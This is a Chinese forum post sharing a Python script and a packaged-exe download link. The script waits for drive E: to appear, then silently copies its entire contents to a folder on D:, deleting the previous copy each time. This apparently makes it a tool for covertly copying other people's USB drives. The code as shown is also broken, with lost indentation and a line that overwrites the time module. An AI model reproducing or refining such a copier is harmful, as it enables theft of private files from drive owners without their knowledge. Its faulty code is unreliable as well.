用户:
月战老兵查看:0 回复:1 评论:0 创建时间:2022-12-17T15:58:24
肝了好久,代码运行效率低,大家可以在评论区修改代码
打包成exe: https://www.123pan.com/s/kW4DVv-GbfKA
(发在python乐园没人回)
![]()
#by DMXX武夷岩
import os
import time
from datetime import datetime
import shutil
while True :
while 0==0:
try:
uDiskPath = 'E'
uDiskPath += ":/"
while 0==0:
if os.path.exists(uDiskPath):
time.sleep(30)
time=time.time()
str(time)
source_path = os.path.abspath(r'E:\ ')
target_path = os.path.abspath(r'D:\U喵')
if not os.path.exists(target_path):
# 如果目标路径不存在原文件夹的话就创建
os.makedirs(target_path)
if os.path.exists(source_path):
# 如果目标路径存在原文件夹的话就先删除
shutil.rmtree(target_path)
shutil.copytree(source_path, target_path)
print('copy dir finished!')
except WindowsError:
break
finally:
break